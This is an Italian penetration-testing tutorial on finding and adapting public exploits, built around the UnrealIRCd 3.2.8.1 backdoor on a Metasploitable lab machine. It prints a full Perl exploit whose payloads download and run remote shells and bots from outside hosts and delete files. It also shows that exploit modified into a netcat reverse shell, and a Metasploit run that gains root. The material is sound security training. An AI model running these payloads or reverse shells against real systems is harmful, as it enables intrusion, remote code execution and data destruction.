Quando abbiamo finito un’iterazione di enumeration, uno dei modi per procedere con la fase di attacco è quello di cercare la presenza di vulnerabilità ed exploit noti sui software che stiamo testando. Questa operazione non è l’unica che possiamo eseguire per trovare il modo di entrare in un sistema. E’ infatti possibile anche cercare misconfigurazioni, problematiche nelle password o ricercare nuove vulnerabilità. In questo articolo vedremo come cercare vulnerabilità note, trovare e modificare gli exploit per farli funzionare.
A livello metodologico
A livello metodologico siamo in quella fase descritta dal NIST [0] del “Gain Access” quindi l’ottenimento dell’accesso al sistema. Per fare questo possiamo utilizzare diverse modalità, tra cui l’utilizzo di exploit per vulnerabilità note. E’ quando passiamo dalla fase di “Ricerca” a quella di “Attacco” accedendo (o tentando di) al sistema.
Come può avvenire questa fase è ben descritto nella PTES [1]:
“In diversi casi, la vulnerabilità è pubblica ed è stata segnalata come tale in uno strumento commerciale e/o open source. In altri casi può essere un problema in un processo di business, un errore dell’amministratore come una misconfigurazione o l’utilizzo di password deboli.”
Sfruttare qualcosa di preesistente può essere utile. Dall’enumeration abbiamo una lista di software installati, magari con le versioni presenti. Come procediamo?
Se utilizzassimo invece una logica più vicina alle Minacce Avanzate e Persistenti (Advanced Persistent Threat – APT) saremo dopo la fase di Recon e – considerando che il vettore di attacco selezionato sia una vulnerabilità su un sistema – procedendo con la Weaponization (armamento) del nostro Exploit – che in questo caso corrisponde ad una modifica per renderlo funzionante per il contesto specifico – Deliver (invio) – lanciando l’attacco – in questo caso un flusso di bit verso il bersaglio senza la necessità di interazione umana – e appunto l’Exploitation (sfruttamento) della vulneraiblità. Pertanto a livello di tattiche utilizziamo quella chiamata “Exploitation of Vulnerability”. E’ interessante notare che lo “stile” di un attaccante e la tipologia o la vulneraiblità specifica che tende a sfruttare, rientra tra gli elementi specifici per eseguire l’attribution.
Tra Bug, Vulnerabilità, Exploit e Zero-Day
Il primo passo è capire cosa sono le vulnerabilità e gli exploit. Tutto nasce infatti quando viene scritto il codice. Chi sviluppa può introdurre – volente o nolente – dei bug.
“Un bug è una problematica nel codice o nella sua progettazione che genera un malfunzionamento, risultati errati o un crash/terminazione anomala.”
Difficilmente troviamo software senza bug. Sbagliare è nella natura dell’uomo. Come scriveva Sant’Agostino “errare è umano”. In generale possiamo quindi dire che se è naturale trovare bug nel software, il vero problema nasce quando i bug vengono inseriti in maniera sistematica. Ed è ancora peggio quando i bug trovati non vengono sistemati in quanto dichiarati come “feature” o “by design”. Non è un caso che la massima di cui sopra continui col “perseverare è diabolico”
Al netto di tutte le categorie bug, in un Penetration Test ci interessano i:
“bug di sicurezza, cioè quei bug che hanno delle implicazioni relative alla sicurezza e che possono essere usati per compromettere il sistema o una delle sue componenti.”
E ancor di più quei bug che sono potenzialmente sfruttabili, cioè le vulnerabilità. Una vulnerabilità non basta per attaccare un sistema, quindi per le vulnerabilità che ci interessano abbiamo bisogno degli exploit. L’exploit è quel codice e/o quella procedura che permette di trarre vantaggio di una o più vulnerabilità. Classificando gli exploit per il loro utilizzo – essendo possibile utilizzare diverse classificazioni – abbiamo exploit remoti, che permettono di ottenere il “primo accesso” al sistema e quelli locali per poter fare “privilege escalation” e quindi aumentare il proprio livello di accesso.
Nelle nostre ricerche possiamo incontrare anche la parola Zero-Day. Quando associata a vulnerabilità ed exploit, secondo la definizione RAND [17] indica delle:
“problematiche per le quali non è stata rilasciata pubblicamente una patch o una fix. Il numero infatti indica da quanti giorni il vendor è a conoscenza della vulnerabilità (per poter sviluppare una patch/fix)”
Sono una categoria piuttosto ambita e spesso venduta a prezzi piuttosto alti sul mercato. Non essendo presente una patch è molto probabile infatti che l’attacco abbia successo. Non tutti sanno che negli anni ’90, lo zero-day era invece un software sotto copyright che veniva rilasciato senza protezioni lo stesso giorno o prima dell’uscita del software ufficiale. Era un segno di vanto per i gruppi di “cracker” che ci riuscivano. 🙂 E’ importante notare che la definizione di cracker qui usata è quella di persone che normalmente agiscono in ottica di sfida e curiosità per forzare e rompere (da cui “crack”) le protezioni di software, e non sono da intendere come persone che si occupano di distruggere i sistemi 🙂
C’è anche chi indica come data “zero” quella disponibilità della patch [18]. Oltre agli 0-day, possiamo trovare gli 1-day, delle vulnerabilità segnalate ma per cui non esiste una patch o un exploit. In questo caso è utile per esempio scaricare i sorgenti e/o i binari del software per capire dove sta il problema e come sfruttarlo.
Perché è bene provare gli exploit in un laboratorio?
Quindi possiamo asserire che tutti i software hanno i bug, molti software hanno i bug di sicurezza, alcuni hanno delle vulnerabilità e ancora meno hanno anche degli exploit già pronti e funzionanti. Quest’ultimo passaggio è critico. E’ infatti piuttosto comune trovare exploit finti (che spesso eseguono operazioni distruttive, come ad esempio la cancellazione della macchina dell’attaccante con un noto rm -rf) o comunque non totalmente funzionanti sia volutamente – per evitare l’utilizzo da parte di script kiddie – che per questioni di affidabilità dell’exploit che magari funziona solo in condizioni specifiche (lingua del server, versione delle librerie utilizzate). Non a caso l’OSSTMM [2] indica che il Penetration Tester deve:
“conoscere i propri strumenti, sapere da dove vengono, come funzionano e li deve aver provati prima in un ambiente controllato”
Gli exploit, come vedremo a breve, devono essere letti, modificati, provati e solo dopo utilizzati su un sistema che stiamo testando.
Fonti per la ricerca di exploit e vulnerabilità già note
L’operazione di ricerca di vulnerabilità ed exploit non è sempre immediata. Non esiste un modo univoco per identificare exploit e vulnerabilità e non esiste un luogo su internet dove è possibile trovarli tutti. Possiamo infatti trovare vulnerabilità e/o exploit all’interno di alcuni siti che fungono da Vulnerability/Exploit Database, all’interno delle Advisory dei Vendor, nei siti di Framework di Exploiting.
Inoltre esiste il Common Vulnerabilities and Exposures (CVE) [3] del MITRE [4] che consiste in un dizionario delle vulnerabilità presenti. Anche se non tutte le vulnerabilità hanno una CVE assegnata è comunque una fonte utile. Inoltre, parlando di exploit, è importante notare che per una stessa vulnerabilità possono esserci diversi exploit con un affidabilità (reliability) differente, scritti in diversi linguaggi e che possono funzionare solo in contesti specifici.
Le sorgenti che solitamente andiamo a consultare – al netto di una ricerca estesa alla conoscenza di un motore di ricerca come Google – sono:
- Exploit-DB: manutenuto da Offensive Security, contiene al suo interno una grande quantità di explioit inviati dagli utenti. Ha un codice identificativo specifico EDB-ID. [5]
- Security Focus: Online dal 1999, anche in questo caso contiene contenuti inviati da diversi autori e ha un codice identificativo specifico BID [6].
- PacketStorm: Online dal 1998, sempre con contenuti inviati da diversi autori. [7]
- Rapid7 Vulnerability & Exploit Database: Rapid7 è l’azienda che mantiene Metasploit, noto framework per l’exploitation e ha all’interno del sito web diversi database sia per le vulnerabilità [8] che per gli exploit [9].
- CVEdetails: Sviluppato di recente da Serkan Özkan per facilitarsi il lavoro di ricerca delle vulnerabilità [10].
Buona parte delle nostre fonti, considerando che gli exploit sono inviati da diversi autori, non hanno una convenzione univoca per nomi di software, versione e relativa vulnerabilità, questo rende il tutto più complicato.
Strumenti per la ricerca manuale di exploit già noti
Ci vengono in aiuto diversi strumenti a riguardo – escludendo i “Mass vulnerability scanners” come Nessus, OpenVAS, Canvas – per la ricerca manuale di vulnerabilità ed exploit come:
- searchsploit: sempre di Offensive Security è la versione command-line di exploit-db.com e ha il pro di mantenere in locale una copia degli exploit [11].
- getsploit: pubblicato di recente, consulta il database di Vulners [12] ispirandosi a searchsploit. Esegue quindi una ricerca trasversale su Exploit-DB, Metasploit, Packetstorm [13].
- googler: strumento per accedere alla ricerca di Google (Web & News) da riga di comando. Particolarmente utile per fare le ricerche senza lasciare il terminale e per bypassare dei limiti degli altri strumenti [14].
Esempio di ricerca vulnerabilità ed exploit
Dall’enumueration di base dei servizi TCP e UDP [15] abbiamo la seguente lista di software identificati nella nostra Metasploitable:
vsftpd 2.3.4 OpenSSH 4.7p1 Debian 8ubuntu1 Apache httpd 2.2.8 ((Ubuntu) DAV/2) Samba smbd 3.0.20-Debian ProFTPD 1.3.1 MySQL 5.0.51a-3ubuntu5 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) PostgreSQL DB 8.3.0 - 8.3.7 VNC (protocol 3.3) Unreal3.2.8.1 Apache Jserv (Protocol v1.3) Tomcat/Coyote JSP engine 1.1 - Apache Tomcat/5.5 Ruby DRb RMI (Ruby 1.8) OS details: Linux 2.6.9 - 2.6.33
Cosa fare? Parafrasanto g0tmi1k [16] la nostra lista di elementi utili per l’attacco deve essere:
“processata – ordinata, analizzata e prioritizzata. Bisogna quindi cercare, capendo cosa cercare di preciso, e trovare il codice dell’exploit. L’exploit dovrà (probabilmente NdR) essere adattato e personalizzato in quanto non tutti gli exploit funzionano su tutti i sistemi così come li troviamo. Quindi bisogna provare (tanto) con un approccio a prove ed errori”
E’ quindi utile considerare la ricerca su diverse fonti coi vari strumenti a disposizione. Focalizziamoci in questo articolo su
Ricerca degli exploit per Unreal 3.2.8.1
Facciamo un esempio con l’Unreal IRCD che avevamo trovato precedentemente in ascolto sulla porta 6667 TCP.
La ricerca con searchsploit porta tre risultati. Un DoS su Windows, una Remote Code Execution tramite uno script in Perl e una Remote Execution direttaemnte su Metasploit. In questo senso possiamo escludere a priori la prima per due motivi: anzitutto gira su Windows mentre correlando le informazioni che sappiamo sul nostro bersaglio è una macchina Linux, inoltre è un DoS, mentre noi siamo più interessati – in questo contesto simulato – a prendere il controllo e non a creare una situazione di disservizio. Potenzialmente ora abbiamo quindi due opzioni: Utilizzare lo script in Perl (presente già nella nostra Kali).
# searchsploit Unreal 3.2.8.1
--------------------------------------------------------------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms)
--------------------------------------------------------------------------------------------------------- ----------------------------------
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | /windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute Trojan | /linux/remote/13853.pl
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | /linux/remote/16922.rb
--------------------------------------------------------------------------------------------------------- ----------------------------------
In questo caso già una prima ricerca ha fornito risultati piuttosto interessanti, ma è comunque opportuno fare ulteriori ricerche, per esempio tramite getsploit. Troviamo più risultati – come probabile – dato che utilizza più fonti rispetto searchsploit. Interessante il fatto che per quelli a Exploit-DB abbia trovato i codici: 16922 e 13853. Aspetto importante è la differenza di informazioni che ci vengono fornite, per esempio non ci sono informazioni rispetto la piattaforma.
# ./getsploit.py Unreal 3.2.8.1 Total found exploits: 9 Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit+AND+Unreal+3.2.8.1 +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | ID | Exploit Title | URL | +======================+================================+===============================================================================+ | MSF:EXPLOIT/UNIX/IRC | CVE-2010-2075 UnrealIRCD | https://vulners.com/metasploit/MSF:EXPLOIT/UNIX/IRC/UNREAL_IRCD_3281_BACKDOOR | | /UNREAL_IRCD_3281_BA | 3.2.8.1 Backdoor Command | | | CKDOOR | Execution | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | SSV-69018 | Unreal IRCD 3.2.8.1 - Remote | https://vulners.com/seebug/SSV-69018 | | | Downloader/Execute Trojan | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | 1337DAY-ID-16028 | linux/x86 Remote | https://vulners.com/zdt/1337DAY-ID-16028 | | | Download/Execute File - 44 | | | | Bytes + File | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | EDB-ID:16922 | UnrealIRCD 3.2.8.1 - Backdoor | https://vulners.com/exploitdb/EDB-ID:16922 | | | Command Execution | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | PACKETSTORM:90641 | Unreal IRCD 3.2.8.1 Remote | https://vulners.com/packetstorm/PACKETSTORM:90641 | | | Download / Execute Trojan | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | PACKETSTORM:90642 | Unreal IRCD 3.2.8.1 Remote | https://vulners.com/packetstorm/PACKETSTORM:90642 | | | Backdoor | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | PACKETSTORM:90662 | UnrealIRCD 3.2.8.1 Backdoor | https://vulners.com/packetstorm/PACKETSTORM:90662 | | | Command Execution | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | 1337DAY-ID-12688 | Unreal IRCD 3.2.8.1 Remote | https://vulners.com/zdt/1337DAY-ID-12688 | | | Downloader/Execute Trojan | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+ | EDB-ID:13853 | Unreal IRCD 3.2.8.1 - Remote | https://vulners.com/exploitdb/EDB-ID:13853 | | | Downloader/Execute Trojan | | +----------------------+--------------------------------+-------------------------------------------------------------------------------+
Facendo entrambe queste ricerche notiamo che le parole chiave utilizzate sono state cercate in maniera piuttosto ampia (per esempio Unreal ha incluso anche IRCD). In questo caso siamo stati particolarmente fortunati in quanto abbiamo una versione precisa sia nel banner sia nel titolo della vulnerabilità. Quando però abbiamo bisogno di maggiore flessibilità e/o di cercare anche nella descrizione può essere utile cercare su un motore di ricerca:
# googler Unreal 3.2.8.1 site:exploit-db.com 1 UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) https://www.exploit-db.com/exploits/16922/ 05 dic 2010 - UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit). CVE-2010-2075. Remote exploit for Linux platform. Tags: Metasploit ... 2 UnrealIRCd 3.2.8.1 - Remote Downloader/Execute Trojan - Exploit-DB https://www.exploit-db.com/exploits/13853/ 13 giu 2010 - UnrealIRCd 3.2.8.1 - Remote Downloader/Execute Trojan. CVE-2010-2075. Remote exploit for Linux platform. 3 UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow - Exploit-DB https://www.exploit-db.com/exploits/18011/ 20 ott 2011 - Exploit Title: UnrealIRCd local configuration stack overflow # Date: 20/10/2011 # Author: DiGMi (http://digmi.org) # Software Link: ... 4 UnrealIRCd 3.x - Remote Denial of Service - Exploit-DB https://www.exploit-db.com/exploits/27407/ 09 mar 2006 - #!/usr/bin/perl # Denial of Service exploit for UnrealIRCd 3.2.3 ... UnrealIRCd 3.2.8.1 - Remote Downloader/Execute Trojan · anonymous.
Abbiamo sicuramente capito quali sono gli exploit che andremo a provare per primi, ma l’aspetto interessante è che da Google – sempre su exploit-db – è venuto fuori il quarto risultato che segnala un exploit su UnrealIRCd 3.x, che non era stato trovato in quanto la nostra ricerca conteneva la versione precisa. Questo è un aspetto importante di cui abbiamo scritto prima. Non essendoci una regola precisa su come descrivere programmi e versioni, è sempre utile fare una ricerca ampia (nome del software, versione principale, versione precisa. In generale consideriamo che, se abbiamo un riferimento CVE, è comunque utile cercare anche gli exploit facendo riferimento alla CVE con “exploit” e come anche eventuali identificativi dell’advisory del vendor – questo approccio è particolarmente efficace per le vulnerabilità relative a Microsoft che hanno un identificativo specifico. Altra sorgente utile è Metasploit, considerando che gli exploit su Metasploit sono tendenzialmente affidabili – o comunque nella descrizione troviamo il grado di affidabilità e i dettagli sul funzionamento, è possibile fare la ricerca in diversi modi. Direttamente su internet – per esempio tramite Googler:
# googler Unreal 3.2.8.1 site:https://www.rapid7.com/db/modules 1 CVE-2010-2075 UnrealIRCD 3.2.8.1 Backdoor Command Execution ... https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor UnrealIRCD 3.2.8.1 Backdoor Command Execution. This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. 2 Exploit Database | Rapid7 https://www.rapid7.com/db/modules?Release=%252524%25257BMYtar&page=124 UnrealIRCD 3.2.8.1 Backdoor Command Execution Exploit ... exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. 3 122 - Exploit Database | Rapid7 https://www.rapid7.com/db/modules?height=90%25&iframe=true&page=122&width=90%25 UnrealIRCD 3.2.8.1 Backdoor Command Execution Exploit ... exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive.
Oppure tramite la ricerca all’interno di Metasploit:
# msfconsole -x "search Unreal 3.2.8.1" ______________________________________________________________________________ | | | 3Kom SuperHack II Logon | |______________________________________________________________________________| | | | | | | | User Name: [ security ] | | | | Password: [ ] | | | | | | | | [ OK ] | |______________________________________________________________________________| | | | http://metasploit.com | |______________________________________________________________________________| Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/linux/games/ut2004_secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Linux) exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution exploit/windows/games/ut2004_secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Win32) msf >
Abbiamo in questo caso anche la valutazione (eccellente) di questo exploit, il che lo rende piuttosto papabile per una prima prova.
Esempio di utilizzo di Exploit esistenti (con relativa modifica)
Exploit da exploit-db
Siamo confidenti che possiamo avere buone probabilità di successo con l’exploit e cominciamo anzitutto con quello in perl. Il primo passo è copiarlo sulla nostra cartella. Poi lo leggiamo per capire se c’è bisogno di modifiche. Dopo la copia facciamo un cat e leggiamo l’exploit.
# cp /usr/share/exploitdb/platforms/linux/remote/13853.pl 13853.pl
# cat 13853.pl
#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)
use Socket;
use IO::Socket;
## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];
if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }
sub usage {
printf "\nUsage :\n";
printf "perl unrealpwn.pl \n\n";
printf "Command list :\n";
printf "[1] - Perl Bindshell\n";
printf "[2] - Perl Reverse Shell\n";
printf "[3] - Perl Bot\n";
printf "-----------------------------\n";
printf "[4] - shutdown ircserver\n";
printf "[5] - delete ircserver\n";
exit(1);
}
sub unreal_trojan {
my $ircserv = $host;
my $ircport = $port;
my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
print "[+] Payload sent ...\n";
if ($type eq "1") {
print $sockd "$payload1";
} elsif ($type eq "2") {
print $sockd "$payload2";
} elsif ($type eq "3") {
print $sockd "$payload3";
} elsif ($type eq "4") {
print $sockd "$payload4";
} elsif ($type eq "5") {
print $sockd "$payload5";
} else {
printf "\nInvalid Option ...\n\n";
usage();
}
close($sockd);
exit(1);
}
unreal_trojan();
# EOF
Dalla lettura dell’exploit possiamo notare diversi elementi importanti, da comprendere prima di lanciarlo:
- L’exploit ha diversi payload e buona parte di questi tendono a scaricare da siti terzi – tra cui PacketStorm di cui abbiamo già parlato. Questo implica diverse questioni:
- Anzitutto non è mai opportuno scaricare “alla cieca” qualcosa e lanciarla sulla nostra macchina o su quella che stiamo attaccando.
- La pagina deve essere ancora esistente (altrimenti non funziona, e in questo caso stiamo leggendo un exploit piuttosto vecchio)
- E’ necessario che il codice scaricato non sia malevolo.
- Come vediamo l’exploit deve poter scrivere sulla /tmp (cosa probabile ma che ancora non sappiamo).
- Per funzionare la macchina bersaglio deve essere connessa a internet.
- Successivamente vediamo che l’exploit utilizza una socket per collegarsi all’host bersaglio e quindi invia il comando (la variabile payload) che contiene la stringa AB; e poi dei comandi bash.
Quindi, con le informazioni che abbiamo il lancio alla cieca (il fire and forget) è probabile che, nel caso migliore non funziona, nel caso peggiore potrebbe far compromettere la macchina ad altri. Nel caso specifico – inoltre – non sembra venir fornito l’output del comando che lanciamo, quindi complica ulteriormente la questione se è necessario fare il debug.
Procediamo quindi a modificare l’exploit selezionato. Ci sono moltissimi modi per modificare un exploit. E’ una questione principalmente di gusto personale e adattamento alle condizioni specifiche di dove siamo facendo i test. Solitamente in un exploit remoto il nostro primo obiettivo è quello di avere una shell (meglio se interattiva). Ci sono una grande quantità di modi per poter lanciare una shell che solitamente o è bind (quindi mettiamo in ascolto una porta sulla macchina bersaglio) o è reverse (quindi mettiamo una porta in ascolto sulla macchina attaccante e chiediamo alla macchina bersaglio di collegarsi).
Dato che l’exploit esegue direttamente comandi, la shell che proviamo ad usare è di quelle che utilizza netcat (ce ne sono una grande quantità) con il -e. Non è scontato che sul bersaglio ci sia la versione di netcat con il -e, ma è il caso di provare. Nella riga successiva stiamo dicendo a netcat di collegarsi all’IP della nostra macchina attaccante, sulla porta 443 TCP e di eseguire su quella connessione una shell (appunto il -e). Su shell alternative ci torneremo in un altro articolo.
nc 192.168.1.104 443 -e /bin/sh
Modifichiamo quindi l’exploit con il nostro codice andando a sostituire il payload 1, considerando che:
- La macchina bersaglio è 192.168.1.103
- La macchina attaccante è 192.168.1.104
- Ascoltiamo sulla porta 443
E’ importante ricordarsi che anche la scelta della porta può essere importante in quanto potrebbero essere presenti dei firewall. Modifichiamo il payload come segue:
# grep "payload1" 13853.pl my $payload1 = 'AB; nc 192.168.1.104 443 -e /bin/sh'; print $sockd "$payload1";
Prepariamoci per la prima prova aprendo un listerner di netcat sulla nostra macchina:
# nc -nlvp 443 listening on [any] 443 ...
E capiamo come lanciare l’exploit. Dal sorgente vediamo che stampa a schermo le regole d’uso, quindi:
# perl 13853.pl Usage : perl unrealpwn.pl <host> <port> <type> Command list : [1] - Perl Bindshell [2] - Perl Reverse Shell [3] - Perl Bot ----------------------------- [4] - shutdown ircserver [5] - delete ircserver
Ricordandoci che abbiamo modificato il payload numero 1 possiamo inserire l’IP e la porta del bersaglio, la porta e il numero del payload:
# perl 13853.pl 192.168.1.103 6667 1
Attendiamo un po’ e vediamo quindi poi sul nostro listener la connessione arrivare, verifichiamo e siamo già root 🙂 Ovviamente non sempre è così semplice e immediato. Spesso sono necessari diversi tentativi e la ricerca dei payload corretto.
# nc -nlvp 443 listening on [any] 443 ... connect to [192.168.1.104] from (UNKNOWN) [192.168.1.103] 57213 id uid=0(root) gid=0(root)
Exploit da Metasploit
Possiamo comunque usare Metasploit per lanciare l’exploit, torniamo quindi alla schermata dove avevamo recuperato il nome del plugin. Dobbiamo anzitutto indicare a metasploit di usare l’exploit (con il comando “use”), vediamo che lo stiamo usando in quanto lo dice Metasploit nella console.
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Quindi è buona norma vedere le opzioni che possiamo configurare con il comando show options:
msf exploit(unreal_ircd_3281_backdoor) > show options Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 6667 yes The target port Exploit target: Id Name -- ---- 0 Automatic Target
Configuriamo l’exploit con i dati del nostro bersaglio, appunto l’RHOST (Remote Host) con 192.169.1.103 e lanciamolo con il comando “exploit”. Si può notare che in questo caso non abbiamo selezionato il payload. Ci fidiamo di Metasploit, che selezionerà per noi un payload compatibile, di norma una shell (di default sulla porta 4444) e lancerà il listener.
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.103 RHOST => 192.168.1.103 msf exploit(unreal_ircd_3281_backdoor) > exploit
Attendiamo che l’exploit faccia il suo lavoro per avere la nostra shell e lanciamo “id” per verificare l’utente con cui siamo collegati. Anche in questo caso siamo root:
[*] Started reverse TCP double handler on 192.168.1.104:4444 [*] 192.168.1.103:6667 - Connected to 192.168.1.103:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... [*] 192.168.1.103:6667 - Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo zgvVU4YYu3YWTAYO; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "zgvVU4YYu3YWTAYO\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.104:4444 -> 192.168.1.103:56021) at 2017-06-02 05:47:05 -0400 id uid=0(root) gid=0(root)
[1] http://www.pentest-standard.org/index.php/Main_Page
[2] http://www.isecom.org/research/
[5] https://www.exploit-db.com/
[6] http://www.securityfocus.com/
[7] https://packetstormsecurity.com
[8] https://www.rapid7.com/db/modules/
[9] https://www.rapid7.com/db/search
[10] http://www.cvedetails.com/
[11] https://www.exploit-db.com/searchsploit/
[12] https://vulners.com/
[13] https://github.com/vulnersCom/getsploit
[14] https://github.com/jarun/googler
[15] https://onofri.org/security/enumeration-di-porte-e-servizi-su-tcp-e-udp/
[16] https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
[17] https://www.rand.org/pubs/research_reports/RR1751.html
[18] https://twitter.com/gedigi